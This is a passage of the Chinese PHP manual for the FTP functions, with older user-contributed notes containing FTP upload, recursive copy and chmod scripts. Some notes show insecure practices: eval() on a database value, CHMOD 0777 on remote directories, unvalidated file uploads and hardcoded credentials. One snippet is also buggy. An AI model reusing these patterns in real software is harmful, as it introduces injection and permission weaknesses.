                document.getElementById("progress").style.visibility = "hidden";
                document.getElementById("prog_text").style.visibility = "hidden";
            }

            function dispProgress() {
                document.getElementById("progress").style.visibility = "visible";
                document.getElementById("prog_text").style.visibility = "visible";
            }

        </script>

    </head>
    <body>
        <form action="<?php echo $_SERVER['PHP_SELF'];?>" method="POST" enctype="multipart/form-data">
            Please choose a file: <input name="txt_file" type="file" size="35" />
            <input type="submit" name="start_upload" value="Upload File" onClick="dispProgress()" />
        </form>

        <!-- Link to progress file: see http://www.ajaxload.info/ for animated gifs -->
        <img id="progress" src="http://www.your.site/images/progress.gif" />
        <p id="prog_text" style="display:inline;"> Upload Started!</p>

    </body>
<html>
cgray at premierconsulting dot com (Chris Gray) 24-Oct-2006 08:58
After looking everywhere for a "FULLY WORKING" ftp uploader script, I finally came up with this, by using a lot of various one's I found on the web. If you find a better way of doing something, please let me know. Thanks, and Enjoy

<?php
  if(isset($_POST['SubmitFile'])){
      $myFile = $_FILES['txt_file']; // This will make an array out of the file information that was stored.
      $file = $myFile['tmp_name'];  //Converts the array into a new string containing the path name on the server where your file is.

      $myFileName = basename($_POST['txt_fileName']); //Retrieve filename out of file path

      $destination_file = "/".$myFileName;  //where you want to throw the file on the webserver (relative to your login dir)

      // connection settings
      $ftp_server = "127.0.0.1";  //address of ftp server.
      $ftp_user_name = "Your UserName"; // Username
      $ftp_user_pass = "Your Password";   // Password

      $conn_id = ftp_connect($ftp_server);        // set up basic connection
      $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass) or die("<h2>You do not have access to this ftp server!</h2>");   // login with username and password, or give invalid user message
      if ((!$conn_id) || (!$login_result)) {  // check connection
             // wont ever hit this, b/c of the die call on ftp_login
             echo "FTP connection has failed! <br />";
             echo "Attempted to connect to $ftp_server for user $ftp_user_name";
             exit;
         } else {
         //    echo "Connected to $ftp_server, for user $ftp_user_name <br />";
      }

      $upload = ftp_put($conn_id, $destination_file, $file, FTP_BINARY);  // upload the file
      if (!$upload) {  // check upload status
         echo "<h2>FTP upload of $myFileName has failed!</h2> <br />";
      } else {
         echo "Uploading $myFileName Complete!<br /><br />";
      }

      ftp_close($conn_id); // close the FTP stream
  }
?>

<html>
  <head>

  </head>
  <body>
        <form enctype="multipart/form-data" action="<?php echo $_SERVER['PHP_SELF'];?>" method="POST">
            Please choose a file: <input name="txt_file" type="file" id="txt_file" tabindex="1" size="35" onChange="txt_fileName.value=txt_file.value" />
            <input name="txt_fileName" type="hidden" id="txt_fileName" tabindex="99" size="1" />

            <input type="submit" name="SubmitFile" value="Upload File" accesskey="ENTER" tabindex="2" />
      </form>
  </body>
<html>
nicklas at programmera dot nu 15-Aug-2006 02:56
I didn't quite like my FTP program since I had to make all the settings all over when i restarted the client, so I made this script for simple ftp uploading, its running as a CLI app.

<?php

    //if STDIN isn't defined, define it
    if (!defined("STDIN"))
    {

        define("STDIN", fopen("php://stdin", "r"));

    }

    echo "FTP file uploader\r\n\r\n";

    echo "Server: ";

    //trim() all the fgets cause it seams to add a \n
    $server = trim(fgets(STDIN));

    echo "Username: ";

    $username = trim(fgets(STDIN));

    echo "Password: ";

    $password = trim(fgets(STDIN));

    $connect = ftp_connect($server);
    $login = ftp_login($connect, $username, $password);

    if ((!$connect) || (!$login))
    {

        exit("Login failed.\r\n");

    }

    echo "Connected\r\n";

    echo "PASV (Y/Any key = Off): ";

    if(trim(fgets(STDIN)) == "Y")
    {

        //enable passive mode
        ftp_pasv($connect, true);

            echo "PASV: On\r\n";

    }
    else
    {

        echo "PASV: Off\r\n";

    }

    $showContent = ftp_nlist($connect, "");

    echo "Listing Contents:\r\n";

        var_dump($showContent);

    echo "File to upload: ";

    $file = trim(fgets(STDIN));

    //escape the uploading process by typing "exit;"
    if ($file == "exit;")
    {

        exit;

    }

    //use "$file, $file" since the file shouldn't be renamed, also if its a binary file change the last argument to FTP_BINARY
    $upload = ftp_put($connect, $file, $file, FTP_ASCII);

    if (!$upload)
    {

        exit("Upload failed.\r\n");

    }
    else
    {

        echo "The file \"" . $file . "\" was successfully uploaded. :)\r\nSize of \"" . $file . "\": " . filesize($file) / 1024 ."kb.\r\n";
        echo "My work is done, bye.\r\n";

    }

    ftp_close($connect);

?>
magic2lantern at mail dot ru 23-Dec-2005 08:19
This is a simple script writen by me which allows the user
run it in console and get tree from FTP Server.

<?php
$argv = $_SERVER["argv"];
$argv = array_slice($argv,1);
if (getenv("HTTP_HOST")) {exit("For bash execution only!");}
if ((empty($argv[0])) || (empty($argv[1]))) {exit("Usage: thisscript.php 10.0.0.10 /games/Arcade/
where 10.0.0.10 is the FTP Server and /games/Arcade is the start path on FTP\n");}

// connect to the ftp server
$connect_id = ftp_connect($argv[0]);
// login on the server
if ($connect_id) { $login_result = ftp_login($connect_id, 'anonymous', 'JustForFun'); }
// check connection
if ((!$connect_id) || (!$login_result)) {
   echo "Unable to connect the remote FTP Server!\n";
   exit;
}
function ftp_get_dir ($ftp_dir) {
global $connect_id;
$ftp_contents = ftp_nlist ($connect_id, $ftp_dir);
    for ($myCounter_for_server_elements = 0; !empty ($ftp_contents[$myCounter_for_server_elements]);
$myCounter_for_server_elements++)
    {
// get elements list in current dir
        echo $argv[0] . $ftp_dir . $ftp_contents[$myCounter_for_server_elements] . "\n";
        ftp_get_dir ($ftp_dir . $ftp_contents[$myCounter_for_server_elements] . '/');
    }
}
ftp_get_dir ($argv[1]);
// close connection
ftp_close($connect_id);
?>
leonardo at rol dot com dot ro 09-Aug-2005 06:51
Here is an example for downloading a remote ftp structure to local server, useful for migrating sites from one server to another, especially when you are upgrading ensim ;)

http://leonardo.rol.ro/ftpleech.txt
dickiedyce at uk dot com 07-May-2005 08:20
It may seem obvious to others, but it had me stumped for nearly an hour! If you can connect to an ftp site but some functions (list, put, get etc) don't work, then try using ftp_pasv and set passive mode on.

<?php

// setup $host and $file variables for your setup before here...

$hostip = gethostbyname($host);
$conn_id = ftp_connect($hostip);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// IMPORTANT!!! turn passive mode on
ftp_pasv ( $conn_id, true );

if ((!$conn_id) || (!$login_result)) {
  echo "FTP connection has failed!";
  echo "Attempted to connect to $host for user $ftp_user_name";
  die;
} else {
  echo "Connected to $host, for user $ftp_user_name<br>";
  echo "Host IP is $hostip<br>";

  // upload a file
  if (ftp_put($conn_id, $remote_file, $file, FTP_ASCII)) {
    echo "successfully uploaded $file<br>";
  } else {
    echo "There was a problem while uploading $file<br>";
  }

  // close the connection
  ftp_close($conn_id);
}
?>
arjen at queek dot nl 15-Jul-2004 07:38
If you prefer a OO-approach to the FTP-functions, you can use this snippet of code (PHP5 only! and does add some overhead). It's just a "start-up", extend/improve as you wish...
You can pass all ftp_* functions to your object and stripping ftp_ of the function name. Plus, you don't have to pass the ftp-resource as the first argument.

For example:
<?php
ftp_delete($ftp, $file);    // Where $ftp is your ftp-resource
?>

Can become:
<?php
$ftp->delete($file);        // Where $ftp is your FTP-object
?>

Code:
<?php

class FTP {

    private $ftp;

    /* public Void __construct(): Constructor */
    public function __construct($host, $port = 21, $timeout = 90) {
        $this->ftp = ftp_connect($host, $port, $timeout);
    }

    /* public Void __destruct(): Destructor */
    public function __destruct() {
        @ftp_close($this->ftp);
    }

    /* public Mixed __call(): Re-route all function calls to the PHP-functions */
    public function __call($function, $arguments) {
        // Prepend the ftp resource to the arguments array
        array_unshift($arguments, $this->ftp);

        // Call the PHP function
        return call_user_func_array('ftp_' . $function, $arguments);
    }

}

?>
Kristy Christie (kristy at isp7 dot net) 15-Jun-2004 11:50
Here's a little function that I created to recurse through a local directory and upload the entire contents to a remote FTP server.

In the example, I'm trying to copy the entire "iwm" directory located at /home/kristy/scripts/iwm to a remote server's /public_html/test/ via FTP.

The only trouble is that for the line "if (!ftp_chdir($ftpc,$ftproot.$srcrela))", which I use to check if the directory already exists on the remote server, spits out a warning about being unable to change to that directory if it doesn't exist.

But an error handler should take care of it.

My thanks to the person who posted the snippet on retrieving the list of files in a directory.

For the version of the script that echo's it's progress as it recurses & uploads, go to: http://pastebin.com/73784

<?php

// --------------------------------------------------------------------
// THE TRIGGER
// --------------------------------------------------------------------

    // set the various variables
    $ftproot = "/public_html/test/";
    $srcroot = "/home/kristy/scripts/";
    $srcrela = "iwm/";

    // connect to the destination FTP & enter appropriate directories both locally and remotely
    $ftpc = ftp_connect("ftp.mydomain.com");
    $ftpr = ftp_login($ftpc,"username","password");

    if ((!$ftpc) || (!$ftpr)) { echo "FTP connection not established!"; die(); }
    if (!chdir($srcroot)) { echo "Could not enter local source root directory."; die(); }
    if (!ftp_chdir($ftpc,$ftproot)) { echo "Could not enter FTP root directory."; die(); }

    // start ftp'ing over the directory recursively
    ftpRec ($srcrela);

    // close the FTP connection
    ftp_close($ftpc);

// --------------------------------------------------------------------
// THE ACTUAL FUNCTION
// --------------------------------------------------------------------
function ftpRec ($srcrela)
{
    global $srcroot;
    global $ftproot;
    global $ftpc;
    global $ftpr;

    // enter the local directory to be recursed through
    chdir($srcroot.$srcrela);

    // check if the directory exists & change to it on the destination
    if (!ftp_chdir($ftpc,$ftproot.$srcrela))
    {
        // remote directory doesn't exist so create & enter it
           ftp_mkdir    ($ftpc,$ftproot.$srcrela);
           ftp_chdir    ($ftpc,$ftproot.$srcrela);
    }

    if ($handle = opendir("."))
    {
       while (false !== ($fil = readdir($handle)))
       {
           if ($fil != "." && $fil != "..")
           {
               // check if it's a file or directory
               if (!is_dir($fil))
               {
                   // it's a file so upload it
                   ftp_put($ftpc, $ftproot.$srcrela.$fil, $fil, FTP_BINARY);
                }
                else
                {
                    // it's a directory so recurse through it
                    if ($fil == "templates")
                    {
                            // I want the script to ignore any directories named "templates"
                            // and therefore, not recurse through them and upload their contents
                    }
                    else
                    {
                        ftpRec ($srcrela.$fil."/");
                        chdir ("../");
                    }
                }
          }
      }
      closedir($handle);
    }
}
?>
postmaster at alishomepage dot com 24-Jan-2004 03:29
I have written an OpenSource ZIP2FTP interface, which actually takes a given ZIP file and decompresses it in the folder on an FTP server you specify...

Therefore it may be quite interesting for you people interested in FTP, its adress is http://zip2ftp.alishomepage.com ; those who directly want the source may visit http://zip2ftp.alishomepage.com/?do=getSource
Vikrant Korde <vakorde at hotmail dot com> 14-Nov-2003 05:35
<?

//If you want to move or replicate the folder hierarchy from your current server to another remote server. Then this will be helpful as this will browse the current server's directory and at the same time it will copy that file in the remote server in the same directory.

//This script will copy all the files from this directory and subdirectory to another remote server via FTP

function rec_copy ($source_path, $destination_path, $con)
{
    ftp_mkdir($con, $destination_path);
    ftp_site($con, 'CHMOD 0777 '.$destination_path);
    ftp_chdir($con,$destination_path);

    if (is_dir($source_path))
    {
        chdir($source_path);
        $handle=opendir('.');
        while (($file = readdir($handle))!==false)
        {
            if (($file != ".") && ($file != ".."))
            {
                if (is_dir($file))
                {
                    // here i am restricting the folder name 'propertyimages' from being copied to remote server. -- VK
                    if($file != "propertyimages")
                    {
                        rec_copy ($source_path."/".$file, $file, $con);
                        chdir($source_path);
                        ftp_cdup($con);
                    }
                }
                if (is_file($file))
                {
                    $fp = fopen($file,"r");
                    // this will convert spaces to '_' so that it will not throw error.  -- VK
                    ftp_fput ($con, str_replace(" ", "_", $file), $fp,FTP_BINARY);
                    ftp_site($con, 'CHMOD 0755 '.str_replace(" ", "_", $file));
                }
            }
        }
        closedir($handle);
    }
}

// make a FTP connection --VK
$con = ftp_connect("69.18.213.131",21);
$login_result = ftp_login($con,"username","password");

// this is the root path for the remote server-- VK
$rootpath = "mainwebsite_html";

// this is the physical path of the source directory. actually u can also use the relative path. -- VK
$sourcepath = realpath("../")."/resdesk";

// this directory name will only change the top most directory and not the inner one -- VK
$destination_dir_name = "resdesk_".$account_id."/";

rec_copy ($sourcepath, $destination_dir_name, $con);
if (function_exists("ftp_close"))
{
    ftp_close($con);
}
?>
postmaster at alishomepage dot com 24-Oct-2003 04:06
Here's another FTP interface over PHP (also uses MySQL)

http://myftp.alishomepage.com

PS: this script will ALSO allow you to download its source... So it becomes interesting for YOU PROGRAMMERS as well :D
NOSPAMkent at ioflux dot NOSPAM dot com 19-Sep-2002 05:05
I think what some other posts were trying to say which may need clarification is that in PHP 4.2.3, ftp_connect("myhost.com") was failing most of the time, except it would work like every few minutes.

The fix is that ftp_connect seems to have a bug resolving addresses. If you do:

$hostip = gethostbyname($host);
$conn_id = ftp_connect($hostip);

It seems to solve the problem.
(Other users referred to an ftpbuf() error... not sure what that is, but this should fix it.)
sven at cartell-network dot de 13-Feb-2002 11:27
connection to a ftp server across proxy

$ftp_server = "proxy"; f.e. 123.456.789.10
$ftp_user_name = "username@ftpserver"; f.e. exampleuk@www.example.uk
$ftp_user_pass = "password";

$conn_id = ftp_connect($ftp_server, 2121);
$login_result = ftp_login( $conn_id, $ftp_user_name, $ftp_user_pass );


为要上传的文件分配空间

  • ? FTP 函数
  • ftp_append ?
  • PHP Manual
  • FTP 函数
  • 为要上传的文件分配空间

ftp_alloc

(PHP 5, PHP 7, PHP 8)

ftp_alloc — 为要上传的文件分配空间

说明

ftp_alloc(FTP\Connection $ftp, int $size, string &$response = null): bool

向远程 FTP 服务器发送 ALLO 命令， 来为要上传的文件分配空间。

Note:

很多 FTP 服务器不支持ALLO 命令。 如果服务器不支持此命令，将会返回错误码（false）， 返回成功码（true）表示预分配空间不是必需的， 客户端可以继续操作了。 因此，请仅对需要强制预分配空间服务器使用此函数。

参数

ftp

FTP\Connection 实例。

size

要分配的空间，以字节为单位。

response

如果提供此参数，那么服务器的响应 会以文本方式设置到 response 中。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 ftp 参数接受 FTP\Connection 实例，之前接受 resource。

示例

Example #1 ftp_alloc() 示例

<?php

$file = "/home/user/myfile";

// 连接服务器
$ftp = ftp_connect('ftp.example.com');
$login_result = ftp_login($ftp, 'anonymous', 'user@example.com');

if (ftp_alloc($ftp, filesize($file), $result)) {
echo "Space successfully allocated on server. Sending $file.\n";
ftp_put($ftp, '/incoming/myfile', $file, FTP_BINARY);
} else {
echo "Unable to allocate space on server. Server said: $result\n";
}

ftp_close($ftp);

?>

参见

  • ftp_put() - 上传文件到 FTP 服务器
  • ftp_fput() - 上传已打开的文件到 FTP 服务器

User Contributed Notes

There are no user contributed notes for this page.


将文件内容追加到 FTP 服务器上的指定文件

  • ? ftp_alloc
  • ftp_cdup ?
  • PHP Manual
  • FTP 函数
  • 将文件内容追加到 FTP 服务器上的指定文件

ftp_append

(PHP 7 >= 7.2.0, PHP 8)

ftp_append — 将文件内容追加到 FTP 服务器上的指定文件

说明

ftp_append(
FTP\Connection $ftp,
string $remote_filename,
string $local_filename,
int $mode = FTP_BINARY
): bool

Warning

本函数还未编写文档，仅有参数列表。

参数

ftp

FTP\Connection 实例。

remote_filename

local_filename

mode

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 ftp 参数接受 FTP\Connection 实例，之前接受 resource。

User Contributed Notes

There are no user contributed notes for this page.


切换到当前目录的父目录

  • ? ftp_append
  • ftp_chdir ?
  • PHP Manual
  • FTP 函数
  • 切换到当前目录的父目录

ftp_cdup

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_cdup — 切换到当前目录的父目录

说明

ftp_cdup(FTP\Connection $ftp): bool

切换目录至当前目录的父目录 (上级目录)。

参数

ftp

FTP\Connection 实例。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 ftp 参数接受 FTP\Connection 实例，之前接受 resource。

示例

Example #1 ftp_cdup() 例子

<?php
// set up basic connection
$ftp = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($ftp, $ftp_user_name, $ftp_user_pass);

// change the current directory to html
ftp_chdir($ftp, 'html');

echo ftp_pwd($ftp); // /html

// return to the parent directory
if (ftp_cdup($ftp)) {
echo "cdup successful\n";
} else {
echo "cdup not successful\n";
}

echo ftp_pwd($ftp); // /

ftp_close($ftp);
?>

参见

  • ftp_chdir() - 在 FTP 服务器上改变当前目录
  • ftp_pwd() - 返回当前目录名

User Contributed Notes

rowie at free dot fr 11-Mar-2009 02:30
ftp_cdup can only up to the parent and if you want test a directory that is not a child then you can't with ftp_cdup ;)
Anonymous 07-May-2008 09:01
The below example doesn't seem to work on a windows based machine so I use this trick instead

<?php

$aPath = explode('/',ftp_pwd($conn_id));
$sHomeDir = str_repeat('../', count($aPath) - 1);

ftp_chdir($conn_id, $sHomeDir);

?>
tom p 07-Dec-2005 04:01
I used a recursive cdup function until i realised i could navigate to the user's home directory from any location using ~:

<? ftp_chdir($connid, "~"); ?>


在 FTP 服务器上改变当前目录

  • ? ftp_cdup
  • ftp_chmod ?
  • PHP Manual
  • FTP 函数
  • 在 FTP 服务器上改变当前目录

ftp_chdir

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_chdir — 在 FTP 服务器上改变当前目录

说明

ftp_chdir(FTP\Connection $ftp, string $directory): bool

将当前目录切换为指定的目录。

参数

ftp

FTP\Connection 实例。

directory

目标目录。

返回值

成功时返回 true， 或者在失败时返回 false。如果切换目录失败，PHP 还会发出一条警告。

更新日志

版本 | 说明
8.1.0 | 现在 ftp 参数接受 FTP\Connection 实例，之前接受 resource。

示例

Example #1 ftp_chdir() 例子

<?php

// set up basic connection
$ftp = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($ftp, $ftp_user_name, $ftp_user_pass);

// check connection
if ((!$ftp) || (!$login_result)) {
die("FTP connection has failed !");
}

echo "Current directory: " . ftp_pwd($ftp) . "\n";

// try to change the directory to somedir
if (ftp_chdir($ftp, "somedir")) {
echo "Current directory is now: " . ftp_pwd($ftp) . "\n";
} else {
echo "Couldn't change directory\n";
}

// close the connection
ftp_close($ftp);
?>

参见

  • ftp_cdup() - 切换到当前目录的父目录
  • ftp_pwd() - 返回当前目录名

User Contributed Notes

info at swiftyexpress dot com 26-Nov-2008 01:12
Works like the other functions in this page's notes, but this one doesn't make use of a global FTP connection, so it takes parameters like the other functions in the extension

<?php
function ftp_directory_exists($ftp, $dir)
{
    // Get the current working directory
    $origin = ftp_pwd($ftp);

    // Attempt to change directory, suppress errors
    if (@ftp_chdir($ftp, $dir))
    {
        // If the directory exists, set back to origin
        ftp_chdir($ftp, $origin);
        return true;
    }

    // Directory does not exist
    return false;
}
?>

[NOTE BY danbrown AT php DOT net: As the contributor mentions, the original function was noted here by (h3 AT valleyfield DOT net) on 13-JUL-2007.]
neil at 11 out of 10 16-Apr-2008 05:58
Thanks to h3 at valleyfield dot net

Same function with some minor changes and comments added

FTP function checks if a directory exists

<?php
function ftp_is_dir( $dir ) {
    global $ftpcon;
    // get current directory
    $original_directory = ftp_pwd( $ftpcon );
    // test if you can change directory to $dir
    // suppress errors in case $dir is not a file or not a directory
    if ( @ftp_chdir( $ftpcon, $dir ) ) {
        // If it is a directory, then change the directory back to the original directory
        ftp_chdir( $ftpcon, $original_directory );
        return true;
    }
    else {
        return false;
    }
}
?>


设置 FTP 服务器上的文件权限

  • ? ftp_chdir
  • ftp_close ?
  • PHP Manual
  • FTP 函数
  • 设置 FTP 服务器上的文件权限

ftp_chmod

(PHP 5, PHP 7, PHP 8)

ftp_chmod — 设置 FTP 服务器上的文件权限

说明

ftp_chmod(FTP\Connection $ftp, int $permissions, string $filename): int|false

将服务器上的文件权限设置为 permissions 指定的值。

参数

ftp

FTP\Connection 实例。

permissions

要设置的权限值， 八进制 值。

filename

远程文件名称。

返回值

操作成功返回文件新的权限，操作失败返回 false 。

更新日志

版本 | 说明
8.1.0 | 现在 ftp 参数接受 FTP\Connection 实例，之前接受 resource。

示例

Example #1 ftp_chmod() 示例

<?php
$file = 'public_html/index.php';

// 建立基础连接
$ftp = ftp_connect($ftp_server);

// 使用用户名和密码登录
$login_result = ftp_login($ftp, $ftp_user_name, $ftp_user_pass);

// 尝试设置 $file 的权限为 644
if (ftp_chmod($ftp, 0644, $file) !== false) {
echo "$file chmoded successfully to 644\n";
} else {
echo "could not chmod $file\n";
}

// 关闭连接
ftp_close($ftp);
?>

参见

  • chmod() - 改变文件模式

User Contributed Notes

DanN 16-Nov-2009 11:17
Just wanted to contribute a quick note for those who are still experiencing issues with changing the permissions via FTP.

If you are having trouble with PHP recognizing the mode as an integer, you can take the previous poster's method:

$mode = octdec ( str_pad ( $mode, 4, '0', STR_PAD_LEFT ) );

And add the following snippet right after:

$mode = (int) $mode;

This will force PHP to recognize the mode as an integer when you do:

ftp_chmod ( $conn_id, $mode, $path );

These together never seem to fail for me.
Maarten Wolzak 22-Sep-2009 03:15
Using the excellent octdec and decoct functions you can make this easy:

<?php
$mode = "644";
$mode = octdec( str_pad($mode,4,'0',STR_PAD_LEFT) );
ftp_chmod($ftp_stream, $mode, $file);
?>
rperea at vsourceweb dot com 21-Dec-2008 09:26
It took me a while to figure out how to use this function in my situation because I needed the $mode to be passed to this function as a variable that was read from a database. Since the database returns the value as an integer without a leading zero, I could not get the operation to work because adding a leading zero in PHP turns the value into a string.

For example, this does not work in my situation:

<?php
// Assume that this is the value returned from the database.
$mode = 644;

// Now try to chmod using this value.
ftp_chmod($conn_id, $mode, 'test.txt');

// The file now has permissions of 204 and not 644
?>

Adding a leading zero doesn't work either:

<?php
// Assume that this is the value returned from the database.
$mode = 644;

// Now try to chmod using this value.
ftp_chmod($conn_id, '0'.$mode, 'test.txt');

// The file now has permissions of 204 and not 644
?>

I tried many ways to get it to work even converting it from oct to dec using octdec and then back to decoct and nothing worked. This is the only way I was able to get it to work, with an eval statement.

<?php
// Assume that this is the value returned from the database.
$mode = 644;

// Turn the mode into a string
$np = '0'.$mode;

// Now run chmod with the eval'd string parsed as an integer.
ftp_chmod($conn_id, eval("return({$np});"), 'test.txt');

// The file now has permissions of 644
?>

Of course, you will have to make sure that the value of $mode only contains 3 digits. Always do checking on your values before handing it off to eval().
cspiegl at kwask dot de 21-Apr-2008 12:30
Ok,
so if 2 people say that my way is wrong and the other is right, i will take mine back.
I posted it cause for me just the way i used it worked (i don't know why)

AND: i would not say something like: "I would try before post", in my opinion that is realy unfriendly, cause i tryed!
tiefenbrunner at obdev dot at 17-Dec-2007 05:19
The "mode" parameter of the PHP5 ftp_chmod function is an integer value that is supposed to be given as an octal number, like the argument for the "chmod" command line tool.

Thus the sprintf must use the %o formatting character, so that the passed integer value is really represented as an octal number to the CHMOD site command for the FTP server.

So, IMHO, rabin's version is correct (it definitely worked for me).
Josh at jcr dot com 13-Sep-2007 10:13
rabin's code works just fine as a replacement for ftp_chmod().
I would try that before trying cspiegl's solution for pre-php 5 installations.
rabin at rab dot in 23-May-2006 03:21
As mentioned in the note below, the function posted by "hardy add mapscene dot com" works incorrectly if used with an octal mode, the way the php5 function is used.

This function works exactly like the the php5 one:

<?php
if (!function_exists('ftp_chmod')) {
    function ftp_chmod($ftp_stream, $mode, $filename)
    {
        return ftp_site($ftp_stream, sprintf('CHMOD %o %s', $mode, $filename));
    }
}
?>


关闭 FTP 连接

  • ? ftp_chmod
  • ftp_connect ?
  • PHP Manual
  • FTP 函数
  • 关闭 FTP 连接

ftp_close

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

ftp_close — 关闭 FTP 连接

说明

ftp_close(FTP\Connection $ftp): bool

ftp_close() 关闭给出的连接标识符并释放 resource。

Note:

调用本函数后，将不能再使用 FTP 连接，必须用 ftp_connect() 建立新连接。

参数

ftp

FTP\Connection 实例。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 ftp 参数接受 FTP\Connection 实例，之前接受 resource。

示例

Example #1 ftp_close() 示例

<?php

// set up basic connection
$ftp = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($ftp, $ftp_user_name, $ftp_user_pass);

// print the current directory
echo ftp_pwd($ftp);

// close this connection
ftp_close($ftp);
?>

参见

  • ftp_connect() - 建立新 FTP 连接

User Contributed Notes

There are no user contributed notes for this page.


建立新 FTP 连接

  • ? ftp_close
  • ftp_delete ?
  • PHP Manual
  • FTP 函数
  • 建立新 FTP 连接

ftp_connect

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_connect — 建立新 FTP 连接

说明

ftp_connect(string $hostname, int $port = 21, int $timeout = 90): FTP\Connection|false

ftp_connect() 将会建立 FTP 连接到指定的服务器 hostname。

参数

hostname

要连接的服务器地址。此参数后面不应以斜线结尾，前面也不需要用 ftp:// 开头。

port

为要连接到的 FTP 器的端口号，如果没有设置或者为 0，则会使用默认的端口 21 来连接。

timeout

用来设置网络传输的超时时间限制。如果此选项留空，则默认的值为 90 秒。超时时间可以在任何时候通过函数 ftp_set_option() 及 ftp_get_option() 来改变和获取。

返回值

成功时返回 FTP\Connection 实例， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在返回 FTP\Connection 实例；之前返回 resource。

示例

Example #1 ftp_connect() 示例

<?php

$ftp_server = "ftp.example.com";

// set up a connection or die
$ftp = ftp_connect($ftp_server) or die("Couldn't connect to $ftp_server");

?>

参见

  • ftp_close() - 关闭 FTP 连接
  • ftp_ssl_connect() - 打开安全 SSL-FTP 连接

User Contributed Notes

sean at boyercentral dot net 24-Mar-2009 05:05
Ever needed to create an FTP connection resource defaulted to a particular dir from a URI? Here's a simple function that will take a URI like ftp://username:password@subdomain.example.com/path1/path2/, and return an FTP connection resource.

<?php
function getFtpConnection($uri)
{
    // Split FTP URI into:
    // $match[0] = ftp://username:password@sld.domain.tld/path1/path2/
    // $match[1] = ftp://
    // $match[2] = username
    // $match[3] = password
    // $match[4] = sld.domain.tld
    // $match[5] = /path1/path2/
    preg_match("/ftp:\/\/(.*?):(.*?)@(.*?)(\/.*)/i", $uri, $match);

    // Set up a connection
    $conn = ftp_connect($match[1] . $match[4] . $match[5]);

    // Login
    if (ftp_login($conn, $match[2], $match[3]))
    {
        // Change the dir
        ftp_chdir($conn, $match[5]);

        // Return the resource
        return $conn;
    }

    // Or retun null
    return null;
}
?>


删除 FTP 服务器上的文件

  • ? ftp_connect
  • ftp_exec ?
  • PHP Manual
  • FTP 函数
  • 删除 FTP 服务器上的文件

ftp_delete

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_delete — 删除 FTP 服务器上的文件

说明

ftp_delete(FTP\Connection $ftp, string $filename): bool

ftp_delete() 函数用来删除 FTP 服务器上的由参数 filename 指定的的文件。

参数

ftp

FTP\Connection 实例。

filename

要删除的文件。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 ftp 参数接受 FTP\Connection 实例，之前接受 resource。

示例

Example #1 ftp_delete() 示例

<?php
$file = 'public_html/old.txt';

// set up basic connection
$ftp = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($ftp, $ftp_user_name, $ftp_user_pass);

// try to delete $file
if (ftp_delete($ftp, $file)) {
echo "$file deleted successful\n";
} else {
echo "could not delete $file\n";
}

// close the connection
ftp_close($ftp);
?>

User Contributed Notes

engrumair_sabir at yahoo dot com 03-Apr-2014 05:18
if you want to upload the file on server and thn do delete it.. this script works well

<?php
// connect and login data
$web = '111.111.111.111';
$user = '123abc';
$pass = 'abc123';
// file location
$server_file = '/public_html/upload/test.csv';
$local_file = 'test.csv';
//connect
$conn_id = ftp_connect($web);
$login_result = ftp_login($conn_id,$user,$pass);
//uploading
if (ftp_put($conn_id, $server_file, $local_file, FTP_BINARY))
 {echo "Success \n";}
else {echo "Failed";}

// try to delete $file
if (ftp_delete($conn_id, $server_file)) {
 echo "$server_file deleted successful\n";
} else {
 echo "could not delete $server_file\n";
}

// close the connection
ftp_close($conn_id);
?>
kanhaiya4it at gmail dot com 28-Jan-2014 12:49
This works perfectly!

<?php
$file = 'public_html/plentyport.com/jobs/employee/resumes/4216:54:38Resume (1).docx';
$ftp_server="your server address";
// set up basic connection
$conn_id = ftp_connect($ftp_server);
$ftp_user_name="your user server name";
$ftp_user_pass="your server password";
// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// try to delete $file
if (ftp_delete($conn_id, $file)) {
 echo "$file deleted successful\n";
} else {
 echo "could not delete $file\n";
}

// close the connection
ftp_close($conn_id);
?>
Jim Greene 01-Jul-2013 07:15
Generally speaking, unlink will work just fine for most applications, however, if you are using multiple servers, you're going to have to connect to the other server using FTP.
webmaster at iamsowonderful dot com 03-Apr-2005 10:37
You can make a script delete itself with ftp_delete!

It's pretty useful when creating an install script which you want to destroy at the end of the installation to prevent it from being run later.

On Linux machines, very often the user uploads third party scripts, and gets asked to CHMOD this and delete that manually because the webserver user is different from the FTP user ; make them enter their FTP info and get rid of the tedious file manipulation step!

Be careful, though. You will need to flush the output buffer and call ftp_delete at the end of the script, or else the script will die before it fully executes. Look up ob_end_flush for more info.


在 FTP 服务器运行指定的命令

  • ? ftp_delete
  • ftp_fget ?
  • PHP Manual
  • FTP 函数
  • 在 FTP 服务器运行指定的命令

ftp_exec

(PHP 4 >= 4.0.3, PHP 5, PHP 7, PHP 8)

ftp_exec — 在 FTP 服务器运行指定的命令

说明

ftp_exec(FTP\Connection $ftp, string $command): bool

发送 SITE EXEC command 请求到 FTP 服务器。

参数

ftp

FTP\Connection 实例。

command

要执行的命令。

返回值

如果执行成功（服务器发送响应代码 200）则返回 true；否则返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 ftp 参数接受 FTP\Connection 实例，之前接受 resource。

示例

Example #1 ftp_exec() 示例

<?php

// variable initialization
$command = 'ls -al >files.txt';

// set up basic connection
$ftp = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($ftp, $ftp_user_name, $ftp_user_pass);

// execute command
if (ftp_exec($ftp, $command)) {
